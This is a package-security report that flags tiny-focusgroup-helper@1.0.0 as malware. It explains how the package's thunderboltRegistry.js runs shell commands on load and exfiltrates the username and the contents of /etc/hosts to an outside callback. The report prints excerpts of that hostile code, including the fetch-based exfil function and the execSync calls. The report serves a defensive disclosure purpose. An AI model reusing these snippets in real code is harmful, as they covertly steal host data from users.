registry / Data exfiltration / tiny-focusgroup-helper
tiny-focusgroup-helper
Lightweight helper for managing focus groups in web components
This report shows the evidence for tiny-focusgroup-helper@1.0.0, the only known version.
AI Security Review
scanned 19d ago · by lpm-firewall-aiInspected source proves automatic host-data collection and transmission when the registry script loads. This concrete exfiltration behavior warrants blocking despite the empty default entrypoint and absence of installation hooks.
Static reason
No blocking static signals were detected.
Trigger
Loading thunderboltRegistry.js directly or through a consumer of the registry manifest.
Impact
Disclosure of the current username, system details, network configuration, hosts-file contents, and process metadata when the required runtime capabilities are available.
Mechanism
An immediately invoked function executes shell commands and sends their output through HTTP fetch requests to a fixed callback.
Attack narrative
The package ships a registry manifest that points multiple components to thunderboltRegistry.js. Loading that script immediately attempts shell execution, collects host information, and sends it to an unrelated fixed HTTP callback without a consent gate. Its empty default entrypoint limits ordinary import activation but does not neutralize the executable attack in the registry script.
AI rationale
Inspected source proves automatic host-data collection and transmission when the registry script loads. This concrete exfiltration behavior warrants blocking despite the empty default entrypoint and absence of installation hooks.
Evidence
thunderboltRegistry.jsregistry-manifest.min.jsonpackage.json/etc/hosts
Network endpoints2
dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3static.parastorage.com/unpkg/tiny-focusgroup-helper@1.0.0/thunderboltRegistry.js
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- thunderboltRegistry.js sends collected data to a fixed unrelated HTTP callback.
- Loading thunderboltRegistry.js automatically executes shell commands and forwards the current username.
- The script reads /etc/hosts and forwards its contents; it also collects system and network information.
- registry-manifest.min.json maps registry components to the executable collection script.
- package.json distributes the registry manifest and script.
- index.js exports an empty object, limiting activation through the default entrypoint.
Evidence against
- No installation lifecycle hooks or runtime dependencies are declared.
- Default package import does not load the collection script.
Behavioral surface
ChildProcessNetworkShell
UrlStrings
Source & flagged code
6 flagged · loading sourcethunderboltRegistry.jsView file
11var wh = "http://dxpoc.gt.tc/callback.[redacted]";
var exfil = function(params) {
try { fetch(wh + "?" + params).catch(function(){}); } catch(e) {}
};
var cp = null;
try
High
Ai Review Evidence
thunderboltRegistry.js sends collected data to a fixed unrelated HTTP callback.
thunderboltRegistry.jsView on unpkg · L1123var whoami = cp.execSync("whoami", {encoding: "utf8", timeout: 5000}).trim();
exfil("cmd=whoami&out=" + encodeURIComponent(whoami));
} catch(e) {}
try {
High
Ai Review Evidence
Loading thunderboltRegistry.js automatically executes shell commands and forwards the current username.
thunderboltRegistry.jsView on unpkg · L2338var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();
exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));
} catch(e) {}
High
Ai Review Evidence
The script reads /etc/hosts and forwards its contents; it also collects system and network information.
thunderboltRegistry.jsView on unpkg · L38Findings
6 High1 Medium1 Low
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to tiny-focusgroup-helper@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing tiny-focusgroup-helper@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.